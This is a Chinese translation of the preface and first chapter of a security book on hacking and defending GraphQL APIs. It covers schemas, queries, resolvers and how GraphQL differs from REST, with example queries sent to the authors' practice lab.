GraphQL-黑帽子编程-全-

GraphQL 黑帽子编程(全)

原文:zh.annas-archive.org/md5/40a19c0ead1ca441234287ec6003865c

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

2015 年,我们第一次在多伦多市中心的一家咖啡店见面,想要建立一个本地的黑客社区。那次会议是多伦多正式 DEFCON 分会的起源。从那时起,我们就开始合作攻破网络应用、汽车、锁具、智能建筑和 API。近年来,我们将注意力集中在另一个挑战上:庞大的进攻性 GraphQL 安全世界。

作为一种相对较新的技术,GraphQL 查询语言已经改变了 API 的范式,吸引了许多公司希望优化性能、可扩展性和易用性。然而,要完全理解这种查询语言的安全影响需要时间。我们的合作揭示了大量关于 GraphQL 及其生态系统的全新见解。事实上,本书中提到的许多漏洞和利用手段之前从未公开过。我们通过联合研究发现了其中几个,包括一些独特的、前所未见的弱点。此外,我们自己也是许多 GraphQL 安全工具、教育安全平台和本书中提到的漏洞的作者和维护者。

本书为进攻性安全工程师以及防守方提供了一个实用的资源。通过架起黑客社区和 GraphQL 生态系统之间的桥梁,我们旨在改善这一日益流行的技术,增强许多行业的安全性,并教育工程师如何攻击和防守他们的 GraphQL API。

本书的适用对象

本书适合任何有兴趣通过应用进攻性安全测试学习如何破解和保护 GraphQL API 的人。无论你是听说过 GraphQL 并希望发展黑客技能的渗透测试员,还是希望提高防御 GraphQL API 知识的安全分析师,抑或是计划构建一个基于 GraphQL 的应用程序的软件工程师,你都能从本书中获得许多有用的信息。通过学习如何攻击 GraphQL API,你可以制定加固程序,将自动化安全测试集成到你的集成与交付管道中,并有效地验证控制措施。

本书假设你没有接触过 GraphQL。如果你已经理解了这项技术,前三章将加深你对语言的一些基础知识的理解,并讨论一些高级话题。然后,你可以从第四章开始深入了解进攻性安全方面的内容。

本书的实验室和代码库

你可以在本书专门为 GraphQL 黑客攻击创建的安全实验室中练习书中涉及的所有内容。我们强烈推荐你通过运行各种工具并查询 GraphQL API,来实验全书在 10 章中分享的材料。你将在第二章中设置这个实验室。

此外,我们鼓励你克隆本书的代码仓库,仓库地址为 github.com/dolevf/Black-Hat-GraphQL。该仓库包含按章节分类的文件,例如 GraphQL 代码示例、漏洞利用、查询等。我们也意识到,随着安全社区对如何黑客攻击和保护 GraphQL API 的了解不断加深,新的工具和研究论文将会不断涌现。因此,我们在仓库中专门创建了一个文档区,用于记录这些资源,以便将其添加到你的工具库中,位置在tools文件夹下。

本书内容

本书在前三章中介绍了基本和高级的 GraphQL 概念,并指导你设置安全专家在测试 GraphQL API 时需要的实验室工具。到了第四章,你将对 GraphQL 技术如何运作有一个扎实的理解。本书的其余部分将专注于学习和实践 GraphQL 渗透测试的艺术,这将使你能够自信地在未来的安全工作中测试 GraphQL API。在本书的附录 A 中,你可以找到一个 GraphQL 安全测试备忘单,以及在附录 B 中找到更多学习 GraphQL 的额外资源。以下总结提供了每一章的更多细节。

第一章:GraphQL 简介 中,你将了解这项技术,并学习它与其他 API 协议的区别。特别是,我们将通过每个协议的示例来演示 GraphQL 和 REST API 之间的差异。这将有助于说明它们的相对优势和劣势,并阐明为什么 GraphQL 在 API 领域中逐渐占据市场份额。你还将运行你的第一个 GraphQL 查询。

第二章:设置 GraphQL 安全实验室 汇集了一些适合长期渗透测试实验室环境的最佳 GraphQL 安全工具。我们将指导你如何安装和配置这些工具。其中一些工具是我们自己编写的,而其他工具则是由其他安全专家善意地发布为开源软件的。

如果你是 GraphQL 新手,请特别关注 第三章:GraphQL 攻击面。本章有两个目标:一是向你介绍该技术的多个组件,二是使你能够从黑客攻击的角度思考这些概念。在这一章中,你将学习 GraphQL 语言和类型系统。在了解类型系统后,你将理解 GraphQL 架构如何在幕后运作。而在了解语言系统后,你将掌握如何针对 GraphQL API 构建和执行查询。我们还将概述 GraphQL 中的常见弱点,为第四至九章的内容做准备。

第四章:侦察中,我们将使用数据收集和目标映射来应用工具和技术,尽可能多地了解我们的目标。如果不做这项前期工作,我们就像盲目射箭,浪费宝贵的时间。你将学习到信息收集技术,这些技术将使你能够对 GraphQL 目标的基础设施进行有根据的猜测,并增加成功的机会。

第五章:拒绝服务中,你将学习如何实现性能降级或完全的服务器瘫痪。拒绝服务是 GraphQL 中最常见的漏洞之一,本章将介绍多种通过执行特殊查询来使服务器不稳定的技术。你还将学习如何让 GraphQL API 更具抗压性,使用防御性的 GraphQL 安全控制来构建更具韧性的系统。

知识就是力量,正如你将在第六章:信息泄露中学到的那样,某些 GraphQL 设计决策可能导致信息泄露漏洞。我们将利用不安全的配置并滥用 GraphQL 功能,在强化的目标上重建架构。我们还将利用 GraphQL 服务器中的错误和调试机制,推测目标的关键信息。

你应该预期在任何托管有价值数据的应用程序或 API 中都能找到授权和认证控制,但这些控制并不总是容易实现并且保证安全。第七章:认证与授权绕过将教你如何测试这两种重要控制的绕过方式,使我们能够伪装成用户,执行未经授权的操作,查看未经授权的信息。

处理用户输入是一项必要的恶事。大多数应用程序都需要它,但我们永远不应信任它,因为它可能是恶意的。第八章:注入攻击将介绍几种注入类型,以及它们如何在接受用户输入的 GraphQL 接口中引入。我们将使用手动技巧和自动化工具来发现服务器、数据库和客户端浏览器中的基于注入的漏洞。

第九章:请求伪造与劫持中,我们将讨论跨站请求伪造和服务器端请求伪造,这两种基于伪造的漏洞影响客户端和服务器。我们还将讨论跨站 WebSocket 劫持:一种用于窃取用户会话的攻击,影响 GraphQL 订阅。通过使用几种 HTTP 方法发送 GraphQL 查询,我们将以客户端为目标,迫使服务器代表我们请求敏感信息。

第十章:已公开漏洞与利用中,我们将探索十多个漏洞披露报告,并审查影响 GraphQL API 的利用代码。我们将解析这些文档,以巩固之前章节的要点,并揭示漏洞如何影响运行 GraphQL API 的大型公司。

作为计算机安全爱好者,我们很荣幸通过与行业分享我们的知识,为黑客社区做出贡献。凭借我们的视角,你也可以帮助企业更好地保护他们的 GraphQL 应用程序。请记住,本书的内容仅供教育用途。我们强烈建议在对应用程序进行任何渗透测试之前,先获得正式授权。

第一章:GraphQL 入门

在本章中,我们将概述 GraphQL,包括它的存在意义以及哪些特性使得它对许多当今的科技巨头具有吸引力。你还将了解它与 RESTful API 的区别,并发送你的第一个 GraphQL 查询。

基础

GraphQL 是一种开源数据查询和操作语言,用于应用程序编程接口(API)。API 允许两个应用程序通过遵循一套规则进行信息交换,请求和响应数据,定义了应用程序如何连接和通信。通常,像 Google Chrome 或 Mozilla Firefox 这样的网页浏览器充当 API 客户端,或称为 消费者。这个消费者通过应用程序的 API 与应用服务器进行交互,读取或修改服务器上的特定信息。API 消费者不一定总是浏览器;例如,网络上的其他服务器等机器,也可以是 GraphQL API 的消费者。

与其他 API 格式不同,GraphQL 允许 API 使用者从应用服务器请求特定的数据,而无需接收不必要的信息。将这种方法与传统的 REST API 架构进行对比,后者提供固定的数据结构,并依赖客户端过滤掉它们不需要的任何不必要信息。我们将在第 9 页的“GraphQL APIs 与 REST APIs”中比较 REST 和 GraphQL 的 API 响应结构,以说明两者之间的区别。

从安全角度来看,GraphQL 的设计提供了优势。因为 GraphQL 不会返回客户端未明确请求的数据,它的使用减少了信息泄露问题的发生。返回比客户端所需更多的数据可能会导致敏感数据的无意暴露,例如个人身份信息(PII),这可能会引发许多其他问题,尤其是对于那些在严格监管规则下运营的公司。然而,正如你很快会看到的,GraphQL 也存在安全漏洞,我们作为黑客,可以加以利用。

起源

Facebook 于 2012 年开发了 GraphQL,并在其生产环境中使用了几年,直到 2015 年才将其作为开源软件发布。那一年,Facebook 还开发并发布了 GraphQL 规范以及一个名为 GraphQL.js 的参考实现(github.com/graphql/graphql-js),该实现是使用 JavaScript 构建的。

GraphQL 现在由 GraphQL 基金会(graphql.org/foundation/)维护,该基金会由全球技术公司成立。基金会资助 GraphQL 维护者的指导和项目资助,管理 GraphQL 商标政策,为项目提供法律支持,并支持与社区相关的基础设施。

使用场景

几乎所有应用程序和设备都可以使用 GraphQL。如果公司的客户经常同时请求大量信息,而这通常需要多次调用 REST API,企业可以考虑使用 GraphQL。使用 GraphQL 可以减少带宽使用并提高客户端性能。

举个例子,假设有一个网站仪表盘,将来自多个第三方天气网站的天气信息汇总,并由处于慢速数据网络中的移动客户端使用。如果仪表盘必须向多个天气网络发出大量请求并筛选数据,这将不是一个优化的过程。GraphQL 允许通过单一请求获取复杂的数据结构,从而显著减少客户端和服务器之间的往返次数。你将在本章后面了解更多关于这种带宽优化设计的内容。

如今,许多大型公司,如 Facebook、Atlassian、GitHub 和 GitLab,都在使用 GraphQL,为数亿客户提供服务,覆盖多个平台,如手机、桌面计算机,甚至智能电视。

规范

2015 年,Facebook 公开发布了 GraphQL 规范文档,定义了所有 GraphQL 实现必须遵守的规则、设计原则和标准实践。这个规范类似于请求评论(RFC)文档,是多语言实现 GraphQL 的参考。你可以将其视为一份蓝图。

因此,作为黑客,我们可以利用它更好地理解 GraphQL 的实现方式,并验证我们正在破解的目标应用程序是否符合这些预定义的规则。由于实现往往由于各种原因偏离标准,因此我们有更多的机会发现其中的漏洞,其中一些漏洞可能涉及安全问题。

通信是如何工作的?

一个典型的 GraphQL 实现包含一些你应该熟悉的组件,如果你希望搜索其中的安全漏洞。图 1-1 描述了这些组件。

图 1-1:核心 GraphQL 组件

当客户端想要与 GraphQL 服务器进行通信(例如,读取用户名和电子邮件列表)时,客户端将使用超文本传输协议(HTTP)POST 方法向服务器发送 GraphQL 查询。你可能已经注意到,这与标准的 HTTP 方法约定不符,因为数据读取通常是通过 HTTP GET 方法实现的;你将在本章稍后了解更多有关这方面的内容。

服务器反过来会使用查询解析器来处理查询。查询解析器读取并验证查询的格式是否正确,且服务器是否支持该查询。这个验证过程涉及将查询与应用程序的 GraphQL 架构进行对比检查。如果查询被认为是有效的,它将由解析器函数处理,解析器函数负责生成响应客户端查询的结果。这里有很多运作的部分!让我们拆解这些核心组件,来更好地解释它们如何协同工作。

架构

GraphQL 架构表示客户端可以查询的数据类型。架构使用架构定义语言(SDL)来定义。列表 1-1 展示了定义两个对象类型的语法。

type User {
   username: String
   email: String
}

type Location {
   latitude: Int
   longitude: Int
}

列表 1-1:架构定义语言

对象类型是 GraphQL 架构的最基本组成部分;它们表示你可以从运行 GraphQL 服务中获取的数据。在列表 1-1 中,我们定义了一个名为 User 的对象类型和另一个名为 Location 的类型。User 类型有两个字段,分别是 usernameemail,它们都是 String 标量类型。Location 类型也有两个字段,分别是 latitudelongitude,它们是 Int(整数)标量类型。

到目前为止,我们示例中的对象和字段尚未相互关联。然而,GraphQL 允许我们通过多种方式在对象之间建立链接。为了可视化这个过程,我们可以将架构表示为一个由节点和边组成的图。在我们的示例中,UserLocation 对象类型是节点,如图 1-2 所示。

图 1-2:图形节点

是创建多个节点之间链接的一种方式。例如,一个对象可能有一个字段引用另一个对象。假设你有一个用户列表,以及一个记录用户最后登录位置的物理位置列表,你希望在客户端查询该用户时返回其位置。列表 1-2 展示了如何使用边来实现这一点。

type User {
    username: String
    email: String
  ❶ location: Location
}

 ❷ type Location {
    latitude: Int
    longitude: Int
}

列表 1-2:节点的链接

我们向 User 对象类型 ❶ 添加了一个额外的 location 字段,并将其与 Location 对象类型 ❷ 关联起来。实际上,这意味着你可以请求一个 User 对象并获取其相关的位置数据。然而,你不能通过 Location 对象类型查询用户名,因为我们在架构中没有定义该边。图 1-3 说明了这两个节点现在具有单向链接关系。

图 1-3:节点之间的单向链接关系

边缘不仅限于单向链接关系。事实上,你可以在相同的对象之间创建双向链接关系,如图 1-4 所示。通过这种方式连接两个节点有其合理的使用场景。在UserLocation的例子中,假设我们的 API 客户端需要能够获取用户名并查看其位置,作为返回数据的一部分。同时,假设客户端还应该能够获取特定位置并查看哪些用户在每个位置登录。双向链接关系正好支持这一功能。

图 1-4:节点之间的双向链接关系

从安全角度来看,双向链接关系往往会导致不希望出现的拒绝服务(DoS)状况,这可能会完全使系统崩溃。当存在双向链接关系时,API 开发者应该引入安全控制措施以减轻这些漏洞,详细内容将在第五章中说明。

查询

一旦 API 的模式定义完成,客户端就可以通过使用专门编写的声明式 GraphQL 查询语言来从中获取信息。在 GraphQL 中,所有查询都以操作的根类型定义开始,该根类型指定以下操作之一:

  • 查询用于只读操作。这些操作不涉及数据操作。

  • 突变用于数据操作,比如数据写入。这些操作涉及数据修改、数据添加、数据删除等。突变可以同时用于写入和读取数据。

  • 订阅用于客户端与 GraphQL 服务器之间的实时通信。当发生不同事件时,它们允许 GraphQL 服务器将数据推送到客户端。订阅通常与 WebSocket 等传输协议结合使用。

这三种操作是我们编写每个 GraphQL 查询的起点。例如,查询操作使用query关键字:

query {

}

一个突变操作类型使用mutation关键字:

mutation {

}

最后,订阅操作类型使用subscription关键字:

subscription {

}

在客户端执行这些操作之前,开发者必须在模式中定义该操作,并指定客户端可以使用的字段。例如,示例 1-3 定义了Query类型,并建立了一个路径,允许客户端获取我们之前定义的对象类型User

type User {
   username: String
   email: String
   location: Location
}

type Location {
   latitude: Int
   longitude: Int
}

type Query {
  users: [**User**]
}

schema {
  query: Query
} 

示例 1-3:完整的模式,包含查询User类型的入口点

通过查询Query类型中的users字段,客户端可以访问我们定义的User对象类型。User对象类型周围的方括号[]表示此查询将返回一个User对象的数组。我们将在第三章讨论此语法。

示例 1-4 是客户端可能向实现示例 1-3 模式的 GraphQL 服务器发送的查询。

query {
   users {
        username
        email
   }
}

示例 1-4:一个 GraphQL 查询

正如你所看到的,GraphQL 查询非常容易阅读:这个查询所做的就是获取应用程序中所有用户的用户名和电子邮件。我们通过使用 query 根操作来定义查询。然后,我们请求 users 作为查询的顶级字段,指定我们想要的 usernameemail 字段。因为这个查询只读取信息而不更改任何数据,所以我们执行的是查询操作,而不是变更操作。

请注意,空格用于分隔组件,如名称和值。使用的空格数量无关紧要;无论是单个空格还是多个空格,查询都会保持不变并返回一致的结果。

查询解析器与解析器函数

那么,当一个 GraphQL 服务器接收到查询时会发生什么呢?它会使用一个查询解析器来读取并提取执行传入查询所需的信息。查询解析器负责将查询字符串转化为抽象语法树(AST)并根据模式进行验证,以确保只接受有效的查询。AST 是一个层次化的对象,表示查询。它包含字段、参数和其他信息,可以被不同语言的解析器轻松遍历。

GraphQL 是强类型的,这意味着当客户端使用错误的数据类型时,服务器会返回错误。例如,如果某些数据被定义为 Int,而使用 String 则会导致错误。这允许开发团队依赖 API 来执行类型验证。我们将在第三章中更详细地讨论这些类型。

为了生成包含请求数据的响应,服务器使用解析器函数,也称为解析器。解析器负责根据客户端查询中指定的每个字段填充响应数据。为此,解析器可能会实现代码逻辑来执行诸如查询关系数据库、缓存数据库或网络上其他服务器等任务。每个字段都有一个对应的解析器函数,负责返回该字段的响应。

例如,要实现我们在清单 1-4 中展示的查询,解析器函数可能会连接到外部数据库,如 MySQL,并查询其用户表以获取可用的用户名和电子邮件条目列表。由于解析器函数是负责查询解析的 GraphQL 组件,这也是潜在漏洞的存在之地。如果这些函数编写得不好,可能会包含 bug,从而导致安全漏洞。

解析器不仅限于从数据库读取数据。它们可以从本地文件系统读取数据或通过 REST API 向其他系统发起 HTTP 请求。实际上,GraphQL API 通常在后台进行 REST 调用,尤其是当公司从 REST 逐步过渡到 GraphQL 时。有时,GraphQL 被用作多个后端 REST 服务的整合 API 层,客户端对此保持透明。

总结来说,你可以把 GraphQL 看作是一个查询层,位于客户端(如在用户手机或笔记本上运行的浏览器)和应用程序逻辑之间。希望与 GraphQL API 交互的客户端可以使用各种可用的开源 GraphQL 客户端库,例如 Apollo Client(www.apollographql.com/docs/react),由 Apollo 为 TypeScript 维护,或 Relay(relay.dev),由 Facebook 为 JavaScript 维护。使用专门的 GraphQL 客户端不是必需的;你也可以使用命令行 HTTP 客户端,如 cURL,来查询 GraphQL API。在第三章中,我们将介绍 GraphQL 在更低层次上的工作原理。

GraphQL 解决了什么问题?

GraphQL 通过节省客户端无需多次请求来获取完整数据集的时间,提升了客户端与服务器的交互速度。因为 GraphQL 允许客户端定义精确的查询结构,它避免了代价高昂的性能问题,例如 过度获取(返回客户端不使用的数据)或 过少获取(返回的数据太少,迫使客户端发起第二次请求)。你将在下一节中了解更多这些差异以及它们对性能的重要性。

GraphQL 还有其他有用的功能,如模式拼接和模式联合。模式拼接 是一种从多个底层 GraphQL 服务创建单一 GraphQL 模式的方法,使得 GraphQL 可以作为统一的网关使用。本质上,它将多个模式打包(拼接)成一个大模式,为客户端创建一个单一的集成点。由于多个微服务可以定义自己的 GraphQL 模式并拥有各自的 GraphQL 端点,因此允许单一的 GraphQL API 网关将多个模式合并成一个,可以让客户端更容易与应用程序集成。

模式联合 类似于模式拼接,只是它不需要你手动拼接模式。相反,模式联合让你可以告诉 GraphQL API 网关去哪里查找额外的模式。然后,网关会自动完成拼接。联合是一种低维护的方式,用于将多个 API 合并成一个网关。

复杂的 API 应用程序,例如需要模式联合或模式拼接的应用程序,可能会引入安全漏洞,可能允许黑客访问他们本不应有权访问的数据。通常来说,应用程序越复杂,其内部复杂性就越可能导致漏洞。

GraphQL API 与 REST API

在前面的章节中,我们讨论了传统 API 存在的挑战,GraphQL 尝试解决这些挑战的方式。例如,REST API 经常会提供比客户端需要的更多数据(过度获取)或太少数据(不足获取),迫使客户端进行额外的 API 请求。在本节中,我们将通过一个示例来演示使用 REST API 的应用与使用 GraphQL 的应用之间的差异。

考虑 表 1-1,一个包含应用程序用户基本信息的数据库表。一个简单的 Web 应用可能会将这些信息显示为管理员面板的一部分,使系统管理员可以列出所有可用帐户并获取其状态。我们将其称为用户管理页面。

表 1-1:用户数据库表

用户 ID 用户名 电子邮件 状态
1 dsmith david@example.com David Smith 禁用
2 clarry chris@example.com Chris Larry 启用

在接下来的章节中,我们将描述客户端必须执行的 API 请求,以便在应用程序使用 REST API 时检索用户数据,以及在使用 GraphQL 的应用程序中可能会执行相同操作。

REST 示例

在使用 REST API 的应用程序中,我们定义特定的 端点路由,客户端可以在这些端点上执行诸如读取或写入数据的操作,使用特定的 HTTP 方法(如 GET 或 POST)。表 1-2 定义了两个 REST API 端点,用于两个不同的目的:一个用于获取用户列表,另一个用于获取用户登录历史信息。

表 1-2:REST API 定义

HTTP 方法 API 端点 端点描述
GET /rest/v1/users 返回所有可用用户及其信息的列表
GET /rest/v1/history/<user_id> 返回给定用户的登录时间戳列表

当系统管理员希望查看用户管理页面时,他们的 Web 客户端(如 Web 浏览器)将需要通过 Web 应用程序的 API 获取所有可用用户的信息。为了通过 表 1-2 中的 API 端点检索此数据,Web 浏览器将需要向 /rest/v1/users 发送 GET 请求。列表 1-5 展示了这个请求及其响应。

# curl http://lab.blackhatgraphql.com/rest/v1/users

[
  {
    "email": "david@example.com",
    "first_name": "David",
    "id": 1,
    "last_name": "Smith",
    "state": "disabled",
    "username": "dsmith"
  },
  {
    "email": "chris@example.com",
    "first_name": "Chris",
    "id": 2,
    "last_name": "Larry",
    "state": "enabled",
    "username": "clarry"
  }
]

列表 1-5:对 /rest/v1/users 发出的 GET 请求,列出所有系统用户

正如您所见,此请求以 JavaScript 对象表示法(JSON)格式返回所有用户的列表,包括他们的电子邮件、姓名、ID 和帐户状态。

但是如果系统管理员只想检索用户的某些信息,比如他们的电子邮件地址,而不返回任何其他信息,使用表 1-2 中的 API 定义,这是不可能的。相反,需要处理清单 1-5 中的整个响应,并从中提取出email字段。这是 REST API 中过度获取问题的一个示例:客户端接收到比其需求更多的数据,然后必须进行过滤。

现在,想象一下你是系统管理员,被要求识别网络上的任何入侵尝试。您计划编写一个每晚运行并检查可疑行为的脚本。例如,它应该标记在正常工作时间之后登录的用户,即从上午 9 点到下午 5 点。为了实现这个目标,脚本将需要使用 GET 方法向端点/rest/v1/history/<user_id>发出 API 请求。然而,如果仔细查看端点结构,您会注意到它要求客户端提供特定的用户 ID。脚本如何知道应用程序用户的 ID 呢?简短的答案是:除非首先获取所有可用用户 ID,否则不会。

实际上,这意味着为了脚本能够成功运行、读取用户的最后登录时间戳并识别可能的入侵,首先需要列出系统上的所有用户账户,使用 API 端点/rest/v1/users。这应该返回每个用户的用户名、电子邮件、名字、姓氏、状态和用户 ID。

接下来,它需要向/rest/v1/history/1发出第二个 API 请求,其中1是从第一个请求中获取的用户 ID,如清单 1-6 所示。

# curl http://lab.blackhatgraphql.com/rest/v1/history/1

`--snip--`
["02:03:37", "03:05:55"]
`--snip--`

清单 1-6:来自/rest/v1/history/1的响应

要获取所有历史用户登录的完整列表,客户端需要进行额外的请求,直到获取所有用户 ID 为止。如果有 1000 个用户,这将需要 1000 个请求。听起来效率低下,对吧?这是 REST API 倾向于出现的不足获取问题的一个例子。RESTful API 可以被设计为返回特定信息,但是要跨多个 REST 端点提供这种查询灵活性所需的复杂性将使其在维护上具有挑战性。

虽然一开始看起来,为了获取单个用户的登录信息而发起两个请求似乎不是什么大问题,但想象一下应用程序同时为数百万客户端提供服务。在这个规模下,每个请求都很重要;任何额外的跨网络调用都会增加服务器的延迟并影响客户端的体验。这将降低应用程序的整体速度和效率。

如果你想查看这些请求的实际效果,可以通过将你的浏览器指向位于lab.blackhatgraphql.com/start的实时实验室,来尝试这个示例的 API。在那里,点击这两个链接,在浏览器中导航到 REST 接口,如图 1-5 所示。

图 1-5:一个实时的 REST API 示例

我们已经展示了 REST API 的过少获取和过度获取问题。GraphQL 是如何解决这些问题的呢?让我们在 GraphQL 的世界中探索相同的场景。

GraphQL 示例

想象一下,我们的用户管理 Web 应用已经废弃了 REST API,转而采用 GraphQL,并且我们已经建立了一个定义了用户和历史节点之间数据图关系的模式。现在,当系统管理员查看用户管理页面时,他们的浏览器将使用应用程序的 GraphQL API 端点来返回所需的所有数据。

浏览器可能会使用清单 1-7 中的查询来检索诸如用户 ID、电子邮件、名字、姓氏、历史信息(例如最后登录的时间戳)以及账户状态等信息:

query {
   users {
       id
       email
       first_name
       last_name
       state
       history {
         last_login_timestamp
       }
   }
}

清单 1-7:获取用户信息的 GraphQL 查询

该查询的响应可以在清单 1-8 中看到。

"data": {
  "users": [
    {
      "id":1,
      "email": "david@example.com",
      "first_name": "David",
      "last_name": "Smith",
      "state": "disabled",
      "history": {
          "last_login_timestamp":["02:03:37", "03:05:55"]
      }
    },
    {
      "id": 2,
      "email": "chris@example.com"
`--snip--`
    }
  ]
}

清单 1-8:包含所有可用用户及其信息的 GraphQL 查询响应

请注意,响应中包含了一个data JSON 字段,其中包括users字段,而users字段是一个包含系统中所有用户的数组。

此时,REST 和 GraphQL 的 API 之间没有任何明显的区别。那么,GraphQL 是如何解决过度获取和过少获取的问题的呢?如果我们想特别请求某个字段,例如用户的电子邮件地址,我们可以省略任何无关的字段,只包含email字段,如清单 1-9 所示。

query {
  users {
    email
  }
}

清单 1-9:只返回电子邮件地址的 GraphQL 查询

通过明确包含我们想要返回的字段,我们将响应限制为相关数据,如清单 1-10 所示。

"data": {
  "users": [
    {
      "email": "david@example.com"
    },
    {
 "email": "chris@example.com"
    }
  ]
}

清单 1-10:仅返回电子邮件地址的 GraphQL 服务器响应

如你所见,响应中只包含了电子邮件地址,正如查询所要求的那样。如果后端数据库中存储了 100 个电子邮件地址,这样的查询将返回全部的电子邮件地址。

现在,记得我们之前提到过,要返回用户最后登录的时间戳来进行入侵检测任务吗?通过 GraphQL,我们可以使用类似清单 1-11 中显示的查询来实现这一目标。

query {
   users {
     email
     history {
         last_login_timestamp
     }
   }
}

清单 1-11:返回用户最后登录时间戳及其电子邮件的 GraphQL 查询

正如预期的那样,我们只接收到相关字段,如清单 1-12 所示。

{
  "data":{
     "users":[
         {
          "email": "david@example.com",
          "history": {
             "last_login_timestamp":["02:03:37"]
            }
         },
         {
          "email": "chris@example.com",
          "history": {
             "last_login_timestamp":["02:03:37", "03:05:55"]
            }
         }
    ]
  }
}

清单 1-12:仅包含emaillast_login_timestamp字段的 GraphQL 响应

使用 GraphQL 强大的声明性语言,我们可以编写非常选择性的查询,仅获取必要的信息。在后续章节中,您将学习如何利用这种查询语法来攻击 GraphQL 服务器。

其他区别

本节列出了 REST API 和 GraphQL API 之间的其他重要差异,安全专业人员应该注意这些差异。这些差异包括应用程序应该使用的特定 HTTP 方法,特定错误情景下应返回的 HTTP 状态码等。对于执行过 REST 应用程序渗透测试的人员来说,某些差异可能看起来很奇怪,因为在某些情况下,GraphQL 偏离了 HTTP RFC 的指导。

HTTP 请求方法

在本章前面,我们提到 GraphQL 通常使用 POST 方法进行通信,无论是写入数据、删除数据还是简单地读取数据。相比之下,REST API 使用 HTTP 方法来指示客户端的意图。例如,它们会使用 GET 来读取数据,使用 POST 来创建或更新数据。

值得注意的是,GraphQL 实际上可以接受 GET 方法的查询。尽管 GraphQL 应用大多数情况下使用 POST,您应该测试 GraphQL 应用程序是否支持 GET 方法,因为这可以帮助您发现并利用跨站请求伪造(CSRF)等漏洞。我们将在第九章详细讨论 CSRF。

API 端点路径

在 GraphQL 中,对客户端公开的端点通常位于/graphql。应用程序也可以选择提供多个 API 版本,此时您可能会看到像/v1/graphql/v2/graphql这样的端点。

无论 API 使用哪个端点,它在所有客户端请求中保持不变。这与 REST API 不同,后者在单独的端点上公开每个资源。每个 REST 端点都可以拥有自己的控制和支持的方法集。例如,/history端点可能仅允许 GET 请求,以便客户端可以获取历史记录,而/users端点可能支持基于 GET 和 POST 的请求,以允许客户端获取用户列表以及添加新用户账户。

相反,GraphQL 通过查询载荷定义客户端的意图,通过查询和变更操作来操作。无论访问哪个资源或执行哪个操作,端点始终保持一致。

HTTP 状态码

HTTP 状态码,如200 OK404 Not Found401 Unauthorized在 REST API 中起着关键作用,因为它们向客户端信号其请求的结果。例如,当用户尝试使用不正确的用户名或密码登录网页时,具有 REST API 的应用程序可能会返回401 Unauthorized状态码,以向客户端表示未经授权。

在 GraphQL API 中,服务器返回的状态码几乎总是200 OK,即使操作由于授权错误或请求的资源在服务器上不存在而失败。GraphQL 通过返回errors字段作为响应负载的一部分来向客户端指示错误,如示例 1-13 所示。

{
    "errors": [
      {
        "message": "Cannot query field "usernam" on type "User". Did you mean "username"?",
        "locations": [
          {
            "line": 3,
            "column": 5
          }
          `--snip--`
        ]
     }
   ]
}

示例 1-13:GraphQL 响应错误格式

如果由于关键的服务器端错误(如数据库宕机或其他后端故障),服务器无法完全处理请求,您可能会看到除200 OK之外的状态码。在这种情况下,GraphQL 可能会返回预期的500 服务器错误状态码。

运行专门针对 GraphQL 的安全工具的重要性

这些 HTTP 状态码、请求方法和 API 端点路径的差异要求我们在安全分析、入侵检测和渗透测试方面采取显著的调整。在传统的渗透测试中,我们通常依赖黑客工具来处理漏洞评估和应用扫描的重担。当我们测试 GraphQL 应用时,如果安全工具没有内置 GraphQL 支持,它们可能会报告错误的假阳性结果。

传统的 Web 应用扫描器是根据 RFC 2616 HTTP 标准定制的,并假定应用程序在返回的状态码方面遵循该 RFC。例如,执行暴力破解攻击的 Web 应用漏洞扫描器可能会报告成功利用发生的情况,如果它从目标服务器收到200 OK状态码。然而,当 GraphQL 应用返回200 OK状态码时,您不应以相同的方式解读它。

在进行安全分析时,安全操作员在尝试解读 GraphQL 应用的访问日志时面临挑战,尤其是当他们习惯与 REST API 应用交互时。考虑示例 1-14 中显示的 HTTP 访问日志样本。

172.17.0.1 - - [04:31:01] "POST /graphql HTTP/1.1" 200 -
172.17.0.1 - - [04:31:05] "POST /graphql HTTP/1.1" 200 -
172.17.0.1 - - [04:31:37] "POST /graphql HTTP/1.1" 200 -

示例 1-14:GraphQL 应用的访问日志模式

如果安全操作员正在分析这些日志数据以寻找可疑模式,那么如果日志是由 GraphQL 应用生成的,这不会特别具有洞察力。要找到有用的信息,将需要实现专门的工具和日志基础设施。

很多时候,开发人员在没有进行定制或先前研究的情况下部署新技术,如 GraphQL。作为黑客,这给了我们一些优势。GraphQL 不遵守标准的 HTTP 状态码原则,可能使我们绕过 Web 应用防火墙(WAF)等安全控制,并在安全操作员寻找 HTTP 错误码中的异常模式时避开雷达,特别是当这些安全操作员不知道 GraphQL 与 REST 的行为不同。

你的第一个查询

既然你已经了解了 API 以及 GraphQL 和 REST 之间的差异,接下来是时候尝试一个真正的 GraphQL 应用程序了。在这个练习中,你将使用常用的工具构建你的第一个查询,并从 GraphQL 服务器收到成功的响应。

这个练习不需要你安装任何特殊工具。GraphQL 实现通常提供一个图形用户界面(GUI),用于以集成开发环境(IDE)的形式运行查询。一些这样的工具包括GraphiQL Explorer(发音为graphical;注意小写的i)和GraphQL Playground,它们可以作为额外的包安装,也可以作为基础安装的一部分,具体取决于实现。

我们将使用 GraphiQL Explorer,它允许用户通过自动补全功能查询 GraphQL,阅读自动生成的架构文档,通过错误高亮标记来识别查询中的语法错误,查看历史查询,并使用查询变量。这些功能使得初次使用 GraphQL 的用户能够轻松与应用程序交互。作为黑客,我们也能从访问这些工具中受益。你将在第四章中学到更多关于如何发现并利用这些接口的信息。

让我们开始尝试编写 GraphQL 查询。打开任何浏览器,访问lab.blackhatgraphql.com/graphiql。你会看到一个与图 1-6 类似的界面。

在左侧窗格中,你可以输入查询。结果会显示在右侧窗格中。尝试输入清单 1-15 中显示的简单查询。

**query {**
 **users {**
 **email**
 **first_name**
 **last_name**
 **}**
**}**

清单 1-15:显示用户信息的 GraphQL 查询

图 1-6:GraphiQL Explorer 面板

要将查询发送到服务器,请点击位于左上角的播放按钮。你应该会看到如图 1-7 所示的结果。

图 1-7:GraphQL 查询结果

你可能已经注意到,当你开始输入查询时,会出现一个小的下拉菜单。这个菜单提供了自动补全选项,如图 1-8 所示。

图 1-8:GraphiQL Explorer 自动补全建议

自动补全功能非常有用,特别是当你需要与具有复杂架构的 GraphQL 应用程序交互时。如果没有对架构的了解,猜测有效的查询可能是什么样子会非常困难。当 GraphiQL Explorer 能够通过使用 introspection 查询(GraphQL 的自文档化 API 功能)来查询 GraphQL 服务器时,自动补全功能就会生效。你将在第三章中学习更多关于 introspection 的内容。

